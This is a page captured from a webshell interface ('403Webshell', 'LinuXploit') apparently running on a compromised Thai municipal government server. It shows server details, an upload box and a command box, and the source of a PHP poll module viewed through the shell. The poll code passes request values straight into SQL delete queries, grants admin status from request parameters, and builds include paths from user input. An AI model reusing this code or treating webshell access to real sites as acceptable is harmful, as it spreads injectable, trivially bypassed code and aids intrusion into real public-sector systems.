403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.149.249.184
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/poll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/poll/result.php
<?php
session_start();
include ("../../function_sql_query.php");
include ("../../function_form.php");
include ("../../function_import_request.php");
echo"<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
echo"<link href='coremain/ccs/style.css' rel='stylesheet' type='text/css'>";
echo "<title>แบบสำรวจความคิดเห็น</title>";
import_request_variables('pG', 'p_');
//#5.3#//if($p_oncheck!="")							{	     $oncheck=trim($p_oncheck);					}
$oncheck = isset($p_oncheck) ? $p_oncheck : '';
//#5.3#//if($p_web_name!="")                         {	     $web_name=trim($p_web_name);				}
if(isset($p_web_name)){
  $web_name = $p_web_name;
  $_SESSION['web_name'] = $web_name;
}
//#5.3#//if($p_admin_web!="")						{	     $admin_web=trim($p_admin_web);				}
if(isset($p_admin_web)){
  $admin_web = $p_admin_web;
  $_SESSION['admin_web'] = $admin_web;
}
//#5.3#//if($p_id_permis!="")						{	     $id_permis=trim($p_id_permis);				}
if(isset($p_id_permis)){
  $id_permis = $p_id_permis;
  $_SESSION['id_permis'] = $id_permis;
}
//#5.3#//if($p_per!="")								{	     $per=trim($p_per);							}
if(isset($p_per)){
  $per = $p_per;
  $_SESSION['per'] = $per;
}

if ($_SESSION['web_name'] == "")
  $_SESSION['web_name'] = $web_name;
include("../../../$_SESSION[web_name]/connect.php");

//#5.3#//if($p_date!="")							{	     $date=trim($p_date);                       }
$date = isset($p_date) ? $p_date : '';
//#5.3#//if($p_id_poll_del!="")						{	     $id_poll_del=trim($p_id_poll_del);			}
$id_poll_del = isset($p_id_poll_del) ? $p_id_poll_del : '';
//#5.3#//if($p_startrow!="")						{	     $startrow=trim($p_startrow);				}
$startrow = isset($p_startrow) ? $p_startrow : '';
//#5.3#//if($p_id!="")								{	     $id=trim($p_id);                           }
$id = isset($p_id) ? $p_id : '';
?>
<table width='100%' border='0' cellpadding='0' cellspacing='0' align=center>
  <tr>
    <td>
      <fieldset>
        <legend align=left><font color='$datatm[color1]'>แบบสำรวจความคิดเห็น</font></legend><br>
      <?php
      // ลบข้อมูลทิ้ง
      if($id_poll_del!=""){
		$sql = "delete from cms_poll where id='$id_poll_del'";
		$result = mysql_query($sql);

		// ทำการ update status poll ให้ active แทนอันที่โดนลบ
		$sql="SELECT id FROM `cms_poll` order by id desc";
		$result = mysql_query($sql);
		$data = mysql_fetch_array($result);

		$sql="update cms_poll$group set status='1' where id=$data[0]";
		$result=mysql_query($sql);
      }

      $row_per_page = 1; //กำหนดจำนวนบรรทัดต่อหน้า 

      $query="select * from cms_poll order by id desc";
      $query_count="select count(id) from cms_poll order by id desc";

      if (empty($startrow)) { //ลองตรวจดูว่าค่าแถวเริ่มต้นที่จะแสดงไม่ได้กำหนดหรือเปล่า ถ้าไม่ได้กำหนด จะกำหนดให้เป็น 0 
        $startrow = 0; 
      } 

      $result = mysql_query($query_count); 
      $row = mysql_fetch_array($result); 

      $total_row = $row[0]; //ได้ค่าจำนวนบรรทัดทั้งหมดที่จะต้องแสดง 
      $total_page = intval((($total_row-1)/$row_per_page)+1); //หาค่าจำนวนหน้าทั้งหมดที่ต้องแสดง 
      $current_page = (($startrow)/$row_per_page)+1; //หาว่าหน้าที่แสดงอยู่ปัจจุบันเป็นหน้าที่เท่าไหร่ 

      $select = $query." LIMIT $startrow,$row_per_page";
      $result = mysql_query($select); 
      //ให้ใส่ code ที่จะแสดงผลจากการ query data มาได้ที่นี่ เช่น echo data[0] หรือ อะไรแล้วแต่ 
      $bg1 = "#f0e8d0";
      $bg2 = "#eff3f7";
      $pdf1 = "pdf1.gif";
      $pdf2 = "pdf2.gif";
      $numberpage = $startrow;
      ?>
      <center>
        <table width='541' border='0' cellpadding='5' cellspacing='0' bgcolor='<?= $bg1 ?>'>
      <?php if($_SESSION['admin_web']=="admin" || $_SESSION['per']=="ok"){ ?>
          <tr>
            <td width='100%' height='20' colspan='3' align=center style="border-bottom: 1px solid #000">
              <a href="javascript:void(0);" class="new_poll"><img src='coremain/images/add.gif'> <b>ตั้งแบบสำรวจใหม่</b></a>
            </td>
          </tr>
      <?php }
      
      $array_color = array(1=>'sky', 2=>'pink', 3=>'green', 4=>'cherry', 5=>'teal', 6=>'navy', 7=>'red', 8=>'purple', 9=>'blue');
      while ($data = mysql_fetch_array($result)){
        //หาผลรวมของคะแนนที่ โหวต
        $sql_sum = "select  point1,point2,point3,point4,point5,point6,point7,point8,point9 from cms_poll where id='$data[0]'";
        $result_sum = mysql_query($sql_sum);
        $sum_all = mysql_fetch_row($result_sum);
        $sum = $sum_all[0] + $sum_all[1] + $sum_all[2] + $sum_all[3] + $sum_all[4] + $sum_all[5] + $sum_all[6] + $sum_all[7] + $sum_all[8];
        $ys = $startrow + 1;
        ?>
          <tr>
            <td width='90%' colspan="2"><?= $ys ?>)&nbsp;<?= $data[1] ?>&nbsp;</td>
            <td width="10%">
              <?php if($_SESSION['admin_web']=="admin" || $_SESSION['per']=="ok"){ ?>
                <a href="javascript:void(0);" id="<?= $data['id'].'-'.$startrow ?>" class="poll_update"><img src='coremain/images/edit.gif' title='แก้ไขข้อมูล' border='0'></a>&nbsp;&nbsp;
                <!--<a href='update.php?id_poll=<?= $data['id'] ?>&startrow= <?= $startrow ?>'><img src='coremain/images/edit.gif' title='แก้ไขข้อมูล' border='0'></a>&nbsp;&nbsp;-->
              <?php if($row[0]!=1){ ?>
                <a href='result.php?id_poll_del=<?= $data['id'] ?>' onclick='return goURL();'><img src='coremain/images/del1.gif' title='ลบข้อมูล' border='0'></a>
              <?php }
              } ?>
            </td>
          </tr>
        <?php for($i = 1; $i < 10; $i++){
          if($data['choose'.$i] != ''){
            $count_width = (($data['point'.$i] / $sum) * 100 ) * 2;
            $point = ($data['point'.$i] / $sum) * 100;
        ?>
          <tr bgcolor="#eeeeee">
            <td width="5%">&nbsp;</td>
            <td width="95%" colspan="2">
              <?= $i ?>.&nbsp;<?= $data['choose'.$i] ?><br/>
              <?php if($data['point'.$i] >= 1){ ?>
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img src='coremain/module/poll/img/<?= $array_color[$i] ?>.gif' width='<?= $count_width ?>' height='10'>&nbsp;&nbsp;<?= $data['point'.$i] ?>&nbsp;เสียง &nbsp;&nbsp;<?= number_format($point, 2) ?>%
              <?php }else{ ?>
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;เสียง &nbsp;&nbsp;0
              <?php } ?>
            </td>
          </tr>
        <?php }} ?>
          
      <tr>
        <td width='100%' height='20' colspan='3' bgcolor='#ffffff'>
          <center>ผู้แสดงความคิดเห็น&nbsp;<font color='ff0000' class='Menu'><?= $sum ?></font>&nbsp;เสียง&nbsp;สำรวจเมื่อ&nbsp;<?= $data[21] ?>&nbsp;ถึง&nbsp;<?= $data[22] ?></center>
        </td>
      </tr>
<?php
}

if ($total_page>1) { //ตรวจดูว่าถ้าจำนวนหน้าทั้งหมดมีไม่เกิน 1 หน้า ต้องแสดงบรรทัดที่จะให้เลือกหน้า 
  $previous_page = $current_page-1; //หาว่าหน้าก่อนหน้าปัจจุบันคือหน้าอะไร 
  $next_page = $current_page+1; //หาว่าหน้าถัดจากหน้าปัจจุบันคืออะไร 
  if ($previous_page >0) { //ถ้าหน้าก่อนหน้าติดลบหรือเป็นศูนย์แสดงว่าไม่สามารถแสดงหน้าก่อนหน้าได้ 
    $new_startrow = $startrow - $row_per_page ; 
    $left_page_show = '<a href="javascript:void(0);" class="change_page" id="'.$new_startrow.'"><b>ก่อนหน้า</b></a>&nbsp;';
//    $left_page_show = "<A HREF=$PHP_SELF?startrow=$new_startrow><b>ก่อนหน้า</b></A> " ; #N#&id=$id&text=$text&type=$type
  } else { 
    $left_page_show = "<b>ก่อนหน้า</b>&nbsp;"; 
  } 
  if ($next_page > $total_page) { //ถ้าหน้าถัดไป มากกว่าจำนวนหน้าทั้งหมด แสดงว่าไม่สามารถแสดงหน้าถัดไปได้ 
    $right_page_show = "&nbsp;<b>ต่อไป</b>"; 
  } else { 
    $new_startrow = $startrow + $row_per_page; 
    $right_page_show = '&nbsp;<a href="javascript:void(0);" class="change_page" id="'.$new_startrow.'"><b>ต่อไป</b></a>';
//    $right_page_show = " <A HREF=$PHP_SELF?startrow=$new_startrow><b>ต่อไป</b></A>"; #N#&id=$id&text=$text&type=$type
  } 

  $middle_page_show = ""; 
  for ($i=1;$i<=$total_page;$i++) { //วนลูปแสดงหน้าทั้งหมด 
    if ($i == $current_page) { //ถ้าหน้าที่พิมพ์เป็นหน้าเดียวกับหน้าปัจจุบัน แสดงให้ไม่สามารถคลิ๊กได้ 
      $middle_page_show .= "&nbsp;<font color='ff0000'><b>[$i]</b></font>&nbsp;"; 
    } else { 
      $new_startrow = (($i-1)*$row_per_page); 
      $middle_page_show .= '&nbsp;<b><a href="javascript:void(0);" class="change_page" id="'.$new_startrow.'">'. $i .'</a></b>&nbsp;';
//      $middle_page_show .= " <A HREF=$PHP_SELF?startrow=$new_startrow> <b>$i</b> </A> "; #N#&id=$id&text=$text&type=$type
    } 
  } 
  $page_show = $left_page_show . $middle_page_show . $right_page_show; 
} else { 
  $page_show = ""; 
}
?>
          <br><font color='0000ff' class='Menu'><?= $page_show ?></font>
        </table>
      </center>
      </fieldset>
      <br>

<center><button type='button' class="btn-close ui-button ui-widget ui-corner-all" style="padding: 5px 10px;">ปิดหน้านี้</button></center>
    </td>
  </tr>
</table>

<script language="JavaScript">
  
  var arrData = [
    { name: 'full', value: '1' },
    { name: 'admin_web', value: '<?php echo $_SESSION['admin_web'];?>' },
  ];
  $('.change_page').click(function(){
    var value = $(this).attr('id');
    arrData.push({ name: 'startrow', value: value });
    
    $('#dialog-popup').dialog({ dialogClass: 'no-close' });
    $.ajax({
      type: 'post',
      url: 'coremain/module/poll/result.php',
      data: arrData,
      success: function(result){
        $('#dialog-popup').html(result);
      }
    });
  });
  
  $('.poll_update').click(function(){
    var value = $(this).attr('id').split('-');
    arrData.push({ name: 'id_poll', value: value[0] });
    arrData.push({ name: 'startrow', value: value[1] });
    
    $('#dialog-popup').dialog({ dialogClass: 'no-close' });
    $.ajax({
      type: 'post',
      url: 'coremain/module/poll/update.php',
      data: arrData,
      success: function(result){
        $('#dialog-popup').html(result);
      }
    });
  });
  
  $('.btn-close').click(function(){
    $('.ui-dialog .ui-dialog-titlebar-close').click();
  });
  
  function goURL() {
    var blnLink
    blnLink = confirm("กรุณา Click OK เพื่อยืนยันการลบข้อมูล?")

    if (!blnLink) { return false; }

    return true;
  }
 </script>

Youez - 2016 - github.com/yon3zu
LinuXploit